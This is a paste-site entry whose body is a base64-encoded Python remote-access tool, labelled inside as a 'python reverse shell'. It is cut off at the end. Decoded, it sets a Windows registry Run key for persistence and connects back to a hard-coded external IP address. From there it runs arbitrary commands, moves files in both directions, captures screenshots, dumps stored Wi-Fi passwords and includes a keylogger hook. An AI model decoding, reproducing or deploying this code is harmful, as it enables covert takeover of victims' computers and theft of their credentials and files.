Untitled

mail@pastecode.io avatar
unknown
plain_text
2 years ago
16 kB
1
Indexable
Never
IyEvdXNyL2Jpbi9weXRob24KIyAtKi0gY29kaW5nOiB1dGYtOCAtKi0KIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjCiMgICAqKnB5dGhvbiByZXZlcnNlIHNoZWxsKioKIyBjb2RlZCBieTog
b3NlaWQgQWxkYXJ5CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIENsaWVudF9GSUxF
CmltcG9ydCBzdHJ1Y3QsIHNvY2tldCwgc3VicHJvY2Vzcywgb3MsIHBsYXRmb3JtLCB3ZWJicm93
c2VyIGFzIGJyb3dzZXIKaW1wb3J0IHN5cwppbXBvcnQgc29ja2V0CmltcG9ydCB0aW1lCklQID0g
IjE5OC4yNDQuMjIxLjMzIiAgIyBZb3VyIHNlcnZlciBJUCwgZGVmYXVsdDogbG9jYWxob3N0CnBv
cnQgPSA4MDgwICAjICNZb3VyIHNlcnZlciBQb3J0LCBkZWZhdWx0OiA0NDQ0CnBhdGggPSBvcy5w
YXRoLnJlYWxwYXRoKF9fZmlsZV9fKS5yZXBsYWNlKCcucHknLCcnKQoKaGFuZGxlciA9IFsncG93
ZXJzaGVsbCcsICdweScsICdweXRob24nLCAncHl0aG9uMyddCgp0cnk6CglpZiBvcy5zeXN0ZW0o
J1JlZyBRdWVyeSAiSEtFWV9DVVJSRU5UX1VTRVJcU09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3Nc
Q3VycmVudFZlcnNpb24gXFJ1biIgL3YgUHJvY2Vzc2VyWDY0JykgPT0gVHJ1ZToKCQlvcy5wb3Bl
bihmJ1JFRyBBREQgSEtFWV9DVVJSRU5UX1VTRVJcU09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3Nc
Q3VycmVudFZlcnNpb25cUnVuIC90IFJFR19TWiAvdiBQcm9jZXNzZXJYNjQgL2Qge29zLmdldGN3
ZCgpICsgY2hyKDkyKSArIG9zLnBhdGguYmFzZW5hbWUocGF0aCl9LmV4ZScpCgkJd2hpbGUgVHJ1
ZToKCQkJY2xhc3Mgc2VucmV2OgoJCQkJZGVmIF9faW5pdF9fKHNlbGYsIHNvY2spOgoJCQkJCXNl
bGYuc29jayA9IHNvY2sKCgkJCQlkZWYgc2VuZChzZWxmLCBkYXRhKToKCQkJCQlwa3QgPSBzdHJ1
Y3QucGFjaygnPkknLCBsZW4oZGF0YSkpICsgZGF0YQoJCQkJCXNlbGYuc29jay5zZW5kYWxsKHBr
dCkKCgkJCQlkZWYgcmVjdihzZWxmKToKCQkJCQlwa3RsZW4gPSBzZWxmLnJlY3ZhbGwoNCkKCQkJ
CQlpZiBub3QgcGt0bGVuOiByZXR1cm4gIiIKCQkJCQlwa3RsZW4gPSBzdHJ1Y3QudW5wYWNrKCc+
SScsIHBrdGxlbilbMF0KCQkJCQlyZXR1cm4gc2VsZi5yZWN2YWxsKHBrdGxlbikKCgkJCQlkZWYg
cmVjdmFsbChzZWxmLCBuKToKCQkJCQlwYWNrZXQgPSBiJycKCQkJCQl3aGlsZSBsZW4ocGFja2V0
KSA8IG46CgkJCQkJCWZyYW1lID0gc2VsZi5zb2NrLnJlY3YobiAtIGxlbihwYWNrZXQpKQoJCQkJ
CQlpZiBub3QgZnJhbWU6IHJldHVybiBOb25lCgkJCQkJCXBhY2tldCArPSBmcmFtZQoJCQkJCXJl
dHVybiBwYWNrZXQKCgoJCQlkZWYgY25ldCgpOgoJCQkJdHJ5OgoJCQkJCWlwID0gc29ja2V0Lmdl
dGhvc3RieW5hbWUoInd3dy5nb29nbGUuY29tIikKCQkJCQljb24gPSBzb2NrZXQuY3JlYXRlX2Nv
bm5lY3Rpb24oKGlwLCA4MCksIDIpCgkJCQkJcmV0dXJuIFRydWUKCQkJCWV4Y2VwdCBzb2NrZXQu
ZXJyb3I6CgkJCQkJcGFzcwoJCQkJcmV0dXJuIEZhbHNlCgoKCQkJZGVmIHJ1bkNNRChjbWQpOgoJ
CQkJcnVuY21kID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsCgkJCQkJCQkJCQkgIHNoZWxsPVRydWUs
CgkJCQkJCQkJCQkgIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsCgkJCQkJCQkJCQkgIHN0ZGVycj1z
dWJwcm9jZXNzLlBJUEUsCgkJCQkJCQkJCQkgIHN0ZGluPXN1YnByb2Nlc3MuUElQRSkKCQkJCXJl
dHVybiBydW5jbWQuc3Rkb3V0LnJlYWQoKSArIHJ1bmNtZC5zdGRlcnIucmVhZCgpCgoKCQkJZGVm
IHVwbG9hZChjbWQpOgoJCQkJZmlsZXRvc2VuZCA9ICIiLmpvaW4oY21kLnNwbGl0KCI6ZG93bmxv
YWQiKSkuc3RyaXAoKQoJCQkJaWYgbm90IG9zLnBhdGguaXNmaWxlKGZpbGV0b3NlbmQpOgoJCQkJ
CWNvbnRyb2xlci5zZW5kKAoJCQkJCQkiZXJyb3I6IG9wZW46ICd7fSc6IE5vIHN1Y2ggZmlsZSBv
biBjbGluZXQgbWFjaGluZSAhXG4iLmZvcm1hdChmaWxldG9zZW5kKS5lbmNvZGUoIlVURi04Iikp
CgkJCQllbHNlOgoJCQkJCWNvbnRyb2xlci5zZW5kKGIidHJ1ZSIpCgkJCQkJd2l0aCBvcGVuKGZp
bGV0b3NlbmQsICJyYiIpIGFzIHdmOgoJCQkJCQlmb3IgZGF0YSBpbiBpdGVyKGxhbWJkYTogd2Yu
cmVhZCg0MTAwKSwgYiIiKToKCQkJCQkJCXRyeToKCQkJCQkJCQljb250cm9sZXIuc2VuZChkYXRh
KQoJCQkJCQkJZXhjZXB0KEtleWJvYXJkSW50ZXJydXB0LCBFT0ZFcnJvcik6CgkJCQkJCQkJd2Yu
Y2xvc2UoKQoJCQkJCQkJCWNvbnRyb2xlci5zZW5kKGIiOkFib3J0ZWQ6IikKCQkJCQkJCQlyZXR1
cm4KCQkJCQljb250cm9sZXIuc2VuZChiIjpET05FOiIpCgoKCQkJZGVmIHdpZmlzaG93KCk6CgkJ
CQl0cnk6CgkJCQkJaWYgcGxhdGZvcm0uc3lzdGVtKCkgPT0gIldpbmRvd3MiOgoJCQkJCQlpbmZv
ID0gcnVuQ01EKCJuZXRzaCB3bGFuIHNob3cgcHJvZmlsZSBuYW1lPSoga2V5PWNsZWFyIikKCQkJ
CQllbGlmIHBsYXRmb3JtLnN5c3RlbSgpID09ICJMaW51eCI6CgkJCQkJCWluZm8gPSBydW5DTUQo
ImVncmVwIC1oIC1zIC1BIDkgLS1jb2xvciAtVCAnc3NpZD0nIC9ldGMvTmV0d29ya01hbmFnZXIv
c3lzdGVtLWNvbm5lY3Rpb25zLyoiKQoJCQkJCWVsc2U6CgkJCQkJCWluZm8gPSBiIjpvc25vdDoi
CgkJCQlleGNlcHQgRXhjZXB0aW9uOgoJCQkJCWluZm8gPSBiIjpvc25vdDoiCgkJCQlmaW5hbGx5
OgoJCQkJCWNvbnRyb2xlci5zZW5kKGluZm8pCgoKCQkJZGVmIGRvd25sb2FkKGNtZCk6CgkJCQlm
aWxldG9kb3duID0gIiIuam9pbihjbWQuc3BsaXQoIjp1cGxvYWQiKSkuc3RyaXAoKQoJCQkJZmls
ZXRvZG93biA9IGZpbGV0b2Rvd24uc3BsaXQoIi8iKVstMV0gaWYgIi8iIGluIGZpbGV0b2Rvd24g
ZWxzZSBmaWxldG9kb3duLnNwbGl0KCJcXCIpWwoJCQkJCS0xXSBpZiAiXFwiIGluIGZpbGV0b2Rv
d24gZWxzZSBmaWxldG9kb3duCgkJCQl3ZiA9IG9wZW4oZmlsZXRvZG93biwgIndiIikKCQkJCXdo
aWxlIFRydWU6CgkJCQkJZGF0YSA9IGNvbnRyb2xlci5yZWN2KCkKCQkJCQlpZiBkYXRhID09IGIi
OkRPTkU6IjoKCQkJCQkJYnJlYWsKCQkJCQllbGlmIGRhdGEgPT0gYiI6QWJvcnRlZDoiOgoJCQkJ
CQl3Zi5jbG9zZSgpCgkJCQkJCW9zLnJlbW92ZShmaWxldG9kb3duKQoJCQkJCQlyZXR1cm4KCQkJ
CQl3Zi53cml0ZShkYXRhKQoJCQkJd2YuY2xvc2UoKQoJCQkJY29udHJvbGVyLnNlbmQoc3RyKG9z
LmdldGN3ZCgpICsgb3Muc2VwICsgZmlsZXRvZG93bikuZW5jb2RlKCJVVEYtOCIpKQoKCgkJCWRl
ZiBicm93c2UoY21kKToKCQkJCXVybCA9ICIiLmpvaW4oY21kLnNwbGl0KCI6YnJvd3NlIikpLnN0
cmlwKCkKCQkJCWJyb3dzZXIub3Blbih1cmwpCgoKCQkJZGVmIHNjcmVlbnNob3QoKToKCQkJCXNp
emUgPSBpbnQoY29udHJvbGVyLnJlY3YoKS5kZWNvZGUoJ3V0Zi04JykpCgoJCQkJdGhlX3Bob3Rv
ID0gIiIKCQkJCXRoZV9waG90byA9IHRoZV9waG90by5lbmNvZGUoJ3V0Zi04JykKCgkJCQl3aGls
ZSBzaXplID4gMDoKCQkJCQlkYXRhID0gY29udHJvbGVyLnJlY3YoKQoJCQkJCXNpemUgLT0gbGVu
KGRhdGEpCgkJCQkJdGhlX3Bob3RvICs9IGRhdGEKCgkJCQlpbWdfdG9fc2F2ZSA9IEltYWdlLmZy
b21ieXRlcygiUkdCIiwgKDQ5MCwgNDkwKSwgdGhlX3Bob3RvKQoJCQkJaW1nX3RvX3NhdmUuc2F2
ZSgic2NyZWVuc2hvdC5wbmciKQoKCgoKCgkJCWRlZiBzaGVsbChzZW5yZXY9c2VucmV2KToKCQkJ
CWdsb2JhbCBzCgkJCQlnbG9iYWwgY29udHJvbGVyCgkJCQltYWluRElSID0gb3MuZ2V0Y3dkKCkK
CQkJCXRtcGRpciA9ICIiCgkJCQljb250cm9sZXIgPSBzZW5yZXYocykKCQkJCXdoaWxlIFRydWU6
CgkJCQkJY21kID0gY29udHJvbGVyLnJlY3YoKQoJCQkJCWlmIGNtZC5zdHJpcCgpOgoJCQkJCQlj
bWQgPSBjbWQuZGVjb2RlKCJVVEYtOCIsICdpZ25vcmUnKS5zdHJpcCgpCgkJCQkJCWlmICI6c2Ny
ZWVuc2hvdCIgPT0gY21kOgoJCQkJCQkJc2NyZWVuc2hvdCgpCgkJCQkJCWVsaWYgIjpsaXN0ZW4i
IGluIGNtZDoKCQkJCQkJCWNvbnRyb2xlci5zZW5kKGJ5dGVzKCJEb25lIiwgJ3V0Zi04JykpCgkJ
CQkJCWVsaWYgIjpkZXN0cm95IiA9PSBjbWQ6CgkJCQkJCQlzdWJwcm9jZXNzLlBvcGVuKCd0YXNr
a2lsbCAvSU0gJyArIG9zLnBhdGguYmFzZW5hbWUocGF0aCkgKyAnLmV4ZSAvRicpCgkJCQkJCWVs
aWYgIjpkb3dubG9hZCIgaW4gY21kOgoJCQkJCQkJdXBsb2FkKGNtZCkKCQkJCQkJZWxpZiAiOnVw
bG9hZCIgaW4gY21kOgoJCQkJCQkJZG93bmxvYWQoY21kKQoJCQkJCQllbGlmIGNtZCBpbiBoYW5k
bGVyOgoJCQkJCQkJc3VicHJvY2Vzcy5Qb3BlbigKCQkJCQkJCQkndGFza2tpbGwgL0lNICcgKyBv
cy5wYXRoLmJhc2VuYW1lKHBhdGgpICsgJy5leGUgL0YgJiAnICsgb3MuZ2V0Y3dkKCkgKyBjaHIo
CgkJCQkJCQkJCTkyKSArIG9zLnBhdGguYmFzZW5hbWUocGF0aCkgKyAnLmV4ZScsIHNoZWxsPVRy
dWUpCgkJCQkJCQlicmVhawoJCQkJCQllbGlmIGNtZCA9PSAiOmtpbGwiOgoJCQkJCQkJcy5zaHV0
ZG93bigyKQoJCQkJCQkJcy5jbG9zZSgpCgkJCQkJCQlicmVhawoJCQkJCQllbGlmICI6YnJvd3Nl
IiBpbiBjbWQ6CgkJCQkJCQlicm93c2UoY21kKQoJCQkJCQkJY29udHJvbGVyLnNlbmQoYiJEb3du
IikKCQkJCQkJZWxpZiBjbWQgPT0gIjpjaGVja19pbnRlcm5ldF9jb25uZWN0aW9uIjoKCQkJCQkJ
CWlmIGNuZXQoKSA9PSBUcnVlOgoJCQkJCQkJCWNvbnRyb2xlci5zZW5kKGIiVVAiKQoJCQkJCQkJ
ZWxzZToKCQkJCQkJCQljb250cm9sZXIuc2VuZChiIkRvd24iKQoJCQkJCQllbGlmIGNtZCA9PSAi
OndpZmkiOgoJCQkJCQkJd2lmaXNob3coKQoJCQkJCQllbGlmICJjZCIgaW4gY21kOgoJCQkJCQkJ
ZGlyYyA9ICIiLmpvaW4oY21kLnNwbGl0KCJjZCIpKS5zdHJpcCgpCgkJCQkJCQlpZiBub3QgZGly
Yy5zdHJpcCgpOgoJCQkJCQkJCWNvbnRyb2xlci5zZW5kKCJ7fVxuIi5mb3JtYXQob3MuZ2V0Y3dk
KCkpLmVuY29kZSgiVVRGLTgiKSkKCQkJCQkJCWVsaWYgZGlyYyA9PSAiLSI6CgkJCQkJCQkJaWYg
bm90IHRtcGRpcjoKCQkJCQkJCQkJY29udHJvbGVyLnNlbmQoYiJlcnJvcjogY2Q6IG9sZCBbUEFX
RF0gbm90IHNldCB5ZXQgIVxuIikKCQkJCQkJCQllbHNlOgoJCQkJCQkJCQl0bXBkaXIyID0gb3Mu
Z2V0Y3dkKCkKCQkJCQkJCQkJb3MuY2hkaXIodG1wZGlyKQoJCQkJCQkJCQljb250cm9sZXIuc2Vu
ZCgiQmFjayB0byBkaXJbIHt9LyBdXG4iLmZvcm1hdCh0bXBkaXIpLmVuY29kZSgiVVRGLTgiKSkK
CQkJCQkJCQkJdG1wZGlyID0gdG1wZGlyMgoJCQkJCQkJZWxpZiBkaXJjID09ICItLSI6CgkJCQkJ
CQkJdG1wZGlyID0gb3MuZ2V0Y3dkKCkKCQkJCQkJCQlvcy5jaGRpcihtYWluRElSKQoJCQkJCQkJ
CWNvbnRyb2xlci5zZW5kKCJCYWNrIHRvIGZpcnN0IGRpclsge30vIF1cbiIuZm9ybWF0KG1haW5E
SVIpLmVuY29kZSgiVVRGLTgiKSkKCQkJCQkJCWVsc2U6CgkJCQkJCQkJaWYgbm90IG9zLnBhdGgu
aXNkaXIoZGlyYyk6CgkJCQkJCQkJCWNvbnRyb2xlci5zZW5kKAoJCQkJCQkJCQkJImVycm9yOiBj
ZDogJ3t9JzogTm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeSBvbiBjbGluZXQgbWFjaGluZSAhXG4i
LmZvcm1hdCgKCQkJCQkJCQkJCQlkaXJjKS5lbmNvZGUoCgkJCQkJCQkJCQkJIlVURi04IikpCgkJ
CQkJCQkJZWxzZToKCQkJCQkJCQkJdG1wZGlyID0gb3MuZ2V0Y3dkKCkKCQkJCQkJCQkJb3MuY2hk
aXIoZGlyYykKCQkJCQkJCQkJY29udHJvbGVyLnNlbmQoIkNoYW5nZWQgdG8gZGlyWyB7fS8gXVxu
Ii5mb3JtYXQoZGlyYykuZW5jb2RlKCJVVEYtOCIpKQoJCQkJCQllbGlmIGNtZCA9PSAicHdkIjoK
CQkJCQkJCWNvbnRyb2xlci5zZW5kKHN0cihvcy5nZXRjd2QoKSArICJcbiIpLmVuY29kZSgiVVRG
LTgiKSkKCQkJCQkJZWxzZToKCQkJCQkJCWNtZF9vdXRwdXQgPSBydW5DTUQoY21kKQoJCQkJCQkJ
Y29udHJvbGVyLnNlbmQoYnl0ZXMoY21kX291dHB1dCkpCgoJCQkJc3lzLmV4aXQoKQoKCgoKCQkJ
dHJ5OgoJCQkJcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NU
UkVBTSkKCQkJCXMuY29ubmVjdCgoSVAsIHBvcnQpKQoJCQkJc2hlbGwoKQoJCQlleGNlcHQgRXhj
ZXB0aW9uOgoJCQkJcGFzcwoJZWxzZToKCQl3aGlsZSBUcnVlOgoJCQljbGFzcyBzZW5yZXY6CgkJ
CQlkZWYgX19pbml0X18oc2VsZiwgc29jayk6CgkJCQkJc2VsZi5zb2NrID0gc29jawoKCQkJCWRl
ZiBzZW5kKHNlbGYsIGRhdGEpOgoJCQkJCXBrdCA9IHN0cnVjdC5wYWNrKCc+SScsIGxlbihkYXRh
KSkgKyBkYXRhCgkJCQkJc2VsZi5zb2NrLnNlbmRhbGwocGt0KQoKCQkJCWRlZiByZWN2KHNlbGYp
OgoJCQkJCXBrdGxlbiA9IHNlbGYucmVjdmFsbCg0KQoJCQkJCWlmIG5vdCBwa3RsZW46IHJldHVy
biAiIgoJCQkJCXBrdGxlbiA9IHN0cnVjdC51bnBhY2soJz5JJywgcGt0bGVuKVswXQoJCQkJCXJl
dHVybiBzZWxmLnJlY3ZhbGwocGt0bGVuKQoKCQkJCWRlZiByZWN2YWxsKHNlbGYsIG4pOgoJCQkJ
CXBhY2tldCA9IGInJwoJCQkJCXdoaWxlIGxlbihwYWNrZXQpIDwgbjoKCQkJCQkJZnJhbWUgPSBz
ZWxmLnNvY2sucmVjdihuIC0gbGVuKHBhY2tldCkpCgkJCQkJCWlmIG5vdCBmcmFtZTogcmV0dXJu
IE5vbmUKCQkJCQkJcGFja2V0ICs9IGZyYW1lCgkJCQkJcmV0dXJuIHBhY2tldAoKCgkJCWRlZiBj
bmV0KCk6CgkJCQl0cnk6CgkJCQkJaXAgPSBzb2NrZXQuZ2V0aG9zdGJ5bmFtZSgid3d3Lmdvb2ds
ZS5jb20iKQoJCQkJCWNvbiA9IHNvY2tldC5jcmVhdGVfY29ubmVjdGlvbigoaXAsIDgwKSwgMikK
CQkJCQlyZXR1cm4gVHJ1ZQoJCQkJZXhjZXB0IHNvY2tldC5lcnJvcjoKCQkJCQlwYXNzCgkJCQly
ZXR1cm4gRmFsc2UKCgoJCQlkZWYgcnVuQ01EKGNtZCk6CgkJCQlydW5jbWQgPSBzdWJwcm9jZXNz
LlBvcGVuKGNtZCwKCQkJCQkJCQkJCSAgc2hlbGw9VHJ1ZSwKCQkJCQkJCQkJCSAgc3Rkb3V0PXN1
YnByb2Nlc3MuUElQRSwKCQkJCQkJCQkJCSAgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSwKCQkJCQkJ
CQkJCSAgc3RkaW49c3VicHJvY2Vzcy5QSVBFKQoJCQkJcmV0dXJuIHJ1bmNtZC5zdGRvdXQucmVh
ZCgpICsgcnVuY21kLnN0ZGVyci5yZWFkKCkKCgoJCQlkZWYgdXBsb2FkKGNtZCk6CgkJCQlmaWxl
dG9zZW5kID0gIiIuam9pbihjbWQuc3BsaXQoIjpkb3dubG9hZCIpKS5zdHJpcCgpCgkJCQlpZiBu
b3Qgb3MucGF0aC5pc2ZpbGUoZmlsZXRvc2VuZCk6CgkJCQkJY29udHJvbGVyLnNlbmQoCgkJCQkJ
CSJlcnJvcjogb3BlbjogJ3t9JzogTm8gc3VjaCBmaWxlIG9uIGNsaW5ldCBtYWNoaW5lICFcbiIu
Zm9ybWF0KGZpbGV0b3NlbmQpLmVuY29kZSgiVVRGLTgiKSkKCQkJCWVsc2U6CgkJCQkJY29udHJv
bGVyLnNlbmQoYiJ0cnVlIikKCQkJCQl3aXRoIG9wZW4oZmlsZXRvc2VuZCwgInJiIikgYXMgd2Y6
CgkJCQkJCWZvciBkYXRhIGluIGl0ZXIobGFtYmRhOiB3Zi5yZWFkKDQxMDApLCBiIiIpOgoJCQkJ
CQkJdHJ5OgoJCQkJCQkJCWNvbnRyb2xlci5zZW5kKGRhdGEpCgkJCQkJCQlleGNlcHQoS2V5Ym9h
cmRJbnRlcnJ1cHQsIEVPRkVycm9yKToKCQkJCQkJCQl3Zi5jbG9zZSgpCgkJCQkJCQkJY29udHJv
bGVyLnNlbmQoYiI6QWJvcnRlZDoiKQoJCQkJCQkJCXJldHVybgoJCQkJCWNvbnRyb2xlci5zZW5k
KGIiOkRPTkU6IikKCgoJCQlkZWYgd2lmaXNob3coKToKCQkJCXRyeToKCQkJCQlpZiBwbGF0Zm9y
bS5zeXN0ZW0oKSA9PSAiV2luZG93cyI6CgkJCQkJCWluZm8gPSBydW5DTUQoIm5ldHNoIHdsYW4g
c2hvdyBwcm9maWxlIG5hbWU9KiBrZXk9Y2xlYXIiKQoJCQkJCWVsaWYgcGxhdGZvcm0uc3lzdGVt
KCkgPT0gIkxpbnV4IjoKCQkJCQkJaW5mbyA9IHJ1bkNNRCgiZWdyZXAgLWggLXMgLUEgOSAtLWNv
bG9yIC1UICdzc2lkPScgL2V0Yy9OZXR3b3JrTWFuYWdlci9zeXN0ZW0tY29ubmVjdGlvbnMvKiIp
CgkJCQkJZWxzZToKCQkJCQkJaW5mbyA9IGIiOm9zbm90OiIKCQkJCWV4Y2VwdCBFeGNlcHRpb246
CgkJCQkJaW5mbyA9IGIiOm9zbm90OiIKCQkJCWZpbmFsbHk6CgkJCQkJY29udHJvbGVyLnNlbmQo
aW5mbykKCgoJCQlkZWYgZG93bmxvYWQoY21kKToKCQkJCWZpbGV0b2Rvd24gPSAiIi5qb2luKGNt
ZC5zcGxpdCgiOnVwbG9hZCIpKS5zdHJpcCgpCgkJCQlmaWxldG9kb3duID0gZmlsZXRvZG93bi5z
cGxpdCgiLyIpWy0xXSBpZiAiLyIgaW4gZmlsZXRvZG93biBlbHNlIGZpbGV0b2Rvd24uc3BsaXQo
IlxcIilbCgkJCQkJLTFdIGlmICJcXCIgaW4gZmlsZXRvZG93biBlbHNlIGZpbGV0b2Rvd24KCQkJ
CXdmID0gb3BlbihmaWxldG9kb3duLCAid2IiKQoJCQkJd2hpbGUgVHJ1ZToKCQkJCQlkYXRhID0g
Y29udHJvbGVyLnJlY3YoKQoJCQkJCWlmIGRhdGEgPT0gYiI6RE9ORToiOgoJCQkJCQlicmVhawoJ
CQkJCWVsaWYgZGF0YSA9PSBiIjpBYm9ydGVkOiI6CgkJCQkJCXdmLmNsb3NlKCkKCQkJCQkJb3Mu
cmVtb3ZlKGZpbGV0b2Rvd24pCgkJCQkJCXJldHVybgoJCQkJCXdmLndyaXRlKGRhdGEpCgkJCQl3
Zi5jbG9zZSgpCgkJCQljb250cm9sZXIuc2VuZChzdHIob3MuZ2V0Y3dkKCkgKyBvcy5zZXAgKyBm
aWxldG9kb3duKS5lbmNvZGUoIlVURi04IikpCgoKCQkJZGVmIGJyb3dzZShjbWQpOgoJCQkJdXJs
ID0gIiIuam9pbihjbWQuc3BsaXQoIjpicm93c2UiKSkuc3RyaXAoKQoJCQkJYnJvd3Nlci5vcGVu
KHVybCkKCgoJCQlkZWYgc2NyZWVuc2hvdCgpOgoJCQkJc2l6ZSA9IGludChjb250cm9sZXIucmVj
digxMDI0KS5kZWNvZGUoJ3V0Zi04JykpCgoJCQkJdGhlX3Bob3RvID0gIiIKCQkJCXRoZV9waG90
byA9IHRoZV9waG90by5lbmNvZGUoJ3V0Zi04JykKCgkJCQl3aGlsZSBzaXplID4gMDoKCQkJCQlk
YXRhID0gY29udHJvbGVyLnJlY3YoNDA5NikKCQkJCQlzaXplIC09IGxlbihkYXRhKQoJCQkJCXRo
ZV9waG90byArPSBkYXRhCgoJCQkJaW1nX3RvX3NhdmUgPSBJbWFnZS5mcm9tYnl0ZXMoIlJHQiIs
ICg0OTAsIDQ5MCksIHRoZV9waG90bykKCQkJCWltZ190b19zYXZlLnNhdmUoInNjcmVlbnNob3Qu
cG5nIikKCgoJCQlkZWYgb25fcHJlc3Moa2V5KToKCQkJCXIgPSAne31cdFx0e31cbicuZm9ybWF0
KGtleSwgdGltZS50aW1lKCkpCgkJCQlkYXRhID0gci5lbmNvZGUoKQoJCQkJY29udHJvbGVyLnNl
bmQoZGF0YSkKCgkJCWRlZiBzaGVsbChzZW5yZXY9c2VucmV2KToKCQkJCWdsb2JhbCBzCgkJCQln
bG9iYWwgY29udHJvbGVyCgkJCQltYWluRElSID0gb3MuZ2V0Y3dkKCkKCQkJCXRtcGRpciA9ICIi
CgkJCQljb250cm9sZXIgPSBzZW5yZXYocykKCQkJCXdoaWxlIFRydWU6CgkJCQkJY21kID0gY29u
dHJvbGVyLnJlY3YoKQoJCQkJCWlmIGNtZC5zdHJpcCgpOgoJCQkJCQljbWQgPSBjbWQuZGVjb2Rl
KCJVVEYtOCIsICdpZ25vcmUnKS5zdHJpcCgpCgkJCQkJCWlmICI6c2NyZWVuc2hvdCIgPT0gY21k
OgoJCQkJCQkJc2NyZWVuc2hvdCgpCgkJCQkJCWVsaWYgIjprZXlsb2dnZXIiIGluIGNtZDoKCQkJ
CQkJCWNvbnRyb2xlci5zZW5kKGJ5dGVzKCJIZWxsbyB0aGVyZSIsICd1dGYtOCcpKQoJCQkJCQll
bGlmICI6ZGVzdHJveSIgPT0gY21kOgoJCQkJCQkJc3VicHJvY2Vzcy5Qb3BlbigndGFza2tpbGwg
L0lNICcgKyBvcy5wYXRoLmJhc2VuYW1lKHBhdGgpICsgJy5leGUgL0YnKQoJCQkJCQllbGlmICI6
ZG93bmxvYWQiIGluIGNtZDoKCQkJCQkJCXVwbG9hZChjbWQpCgkJCQkJCWVsaWYgIjp1cGxvYWQi
IGluIGNtZDoKCQkJCQkJCWRvd25sb2FkKGNtZCkKCQkJCQkJZWxpZiBjbWQgaW4gaGFuZGxlcjoK
CQkJCQkJCXN1YnByb2Nlc3MuUG9wZW4oCgkJCQkJCQkJJ3Rhc2traWxsIC9JTSAnICsgb3MucGF0
aC5iYXNlbmFtZShwYXRoKSArICcuZXhlIC9GICYgJyArIG9zLmdldGN3ZCgpICsgY2hyKAoJCQkJ
CQkJCQk5MikgKyBvcy5wYXRoLmJhc2VuYW1lKHBhdGgpICsgJy5leGUnLCBzaGVsbD1UcnVlKQoJ
CQkJCQkJYnJlYWsKCQkJCQkJZWxpZiBjbWQgPT0gIjpraWxsIjoKCQkJCQkJCXMuc2h1dGRvd24o
MikKCQkJCQkJCXMuY2xvc2UoKQoJCQkJCQkJYnJlYWsKCQkJCQkJZWxpZiAiOmJyb3dzZSIgaW4g
Y21kOgoJCQkJCQkJYnJvd3NlKGNtZCkKCQkJCQkJCWNvbnRyb2xlci5zZW5kKGIiRG93biIpCgkJ
CQkJCWVsaWYgY21kID09ICI6Y2hlY2tfaW50ZXJuZXRfY29ubmVjdGlvbiI6CgkJCQkJCQlpZiBj
bmV0KCkgPT0gVHJ1ZToKCQkJCQkJCQljb250cm9sZXIuc2VuZChiIlVQIikKCQkJCQkJCWVsc2U6
CgkJCQkJCQkJY29udHJvbGVyLnNlbmQoYiJEb3duIikKCQkJCQkJZWxpZiBjbWQgPT0gIjp3aWZp
IjoKCQkJCQkJCXdpZmlzaG93KCkKCQkJCQkJZWxpZiAiY2QiIGluIGNtZDoKCQkJCQkJCWRpcmMg
PSAiIi5qb2luKGNtZC5zcGxpdCgiY2QiKSkuc3RyaXAoKQoJCQkJCQkJaWYgbm90IGRpcmMuc3Ry
aXAoKToKCQkJCQkJCQljb250cm9sZXIuc2VuZCgie31cbiIuZm9ybWF0KG9zLmdldGN3ZCgpKS5l
bmNvZGUoIlVURi04IikpCgkJCQkJCQllbGlmIGRpcmMgPT0gIi0iOgoJCQkJCQkJCWlmIG5vdCB0
bXBkaXI6CgkJCQkJCQkJCWNvbnRyb2xlci5zZW5kKGIiZXJyb3I6IGNkOiBvbGQgW1BBV0RdIG5v
dCBzZXQgeWV0ICFcbiIpCgkJCQkJCQkJZWxzZToKCQkJCQkJCQkJdG1wZGlyMiA9IG9zLmdldGN3
ZCgpCgkJCQkJCQkJCW9zLmNoZGlyKHRtcGRpcikKCQkJCQkJCQkJY29udHJvbGVyLnNlbmQoIkJh
Y2sgdG8gZGlyWyB7fS8gXVxuIi5mb3JtYXQodG1wZGlyKS5lbmNvZGUoIlVURi04IikpCgkJCQkJ
CQkJCXRtcGRpciA9IHRtcGRpcjIKCQkJCQkJCWVsaWYgZGlyYyA9PSAiLS0iOgoJCQkJCQkJCXRt
cGRpciA9IG9zLmdldGN3ZCgpCgkJCQkJCQkJb3MuY2hkaXIobWFpbkRJUikKCQkJCQkJCQljb250
cm9sZXIuc2VuZCgiQmFjayB0byBmaXJzdCBkaXJbIHt9LyBdXG4iLmZvcm1hdChtYWluRElSKS5l
bmNvZGUoIlVURi04IikpCgkJCQkJCQllbHNlOgoJCQkJCQkJCWlmIG5vdCBvcy5wYXRoLmlzZGly
KGRpcmMpOgoJCQkJCQkJCQljb250cm9sZXIuc2VuZCgKCQkJCQkJCQkJCSJlcnJvcjogY2Q6ICd7
fSc6IE5vIHN1Y2ggZmlsZSBvciBkaXJlY3Rvcnkgb24gY2xpbmV0IG1hY2hpbmUgIVxuIi5mb3Jt
YXQoCgkJCQkJCQkJCQkJZGlyYykuZW5jb2RlKAoJCQkJCQkJCQkJCSJVVEYtOCIpKQoJCQkJCQkJ
CWVsc2U6CgkJCQkJCQkJCXRtcGRpciA9IG9zLmdldGN3ZCgpCgkJCQkJCQkJCW9zLmNoZGlyKGRp
cmMpCgkJCQkJCQkJCWNvbnRyb2xlci5zZW5kKCJDaGFuZ2VkIHRvIGRpclsge30vIF1cbiIuZm9y
bWF0KGRpcmMpLmVuY29kZSgiVVRGLTgiKSkKCQkJCQkJZWxpZiBjbWQgPT0gInB3ZCI6CgkJCQkJ
CQljb250cm9sZXIuc2VuZChzdHIob3MuZ2V0Y3dkKCkgKyAiXG4iKS5lbmNvZGUoIlVURi04Iikp
CgkJCQkJCWVsc2U6CgkJCQkJCQljbWRfb3V0cHV0ID0gcnVuQ01EKGNtZCkKCQkJCQkJCWNvbnRy
b2xlci5zZW5kKGJ5dGVzKGNtZF9vdXRwdXQpKQoJCQkJc3lzLmV4aXQoKQoKCgkJCXRyeToKCQkJ
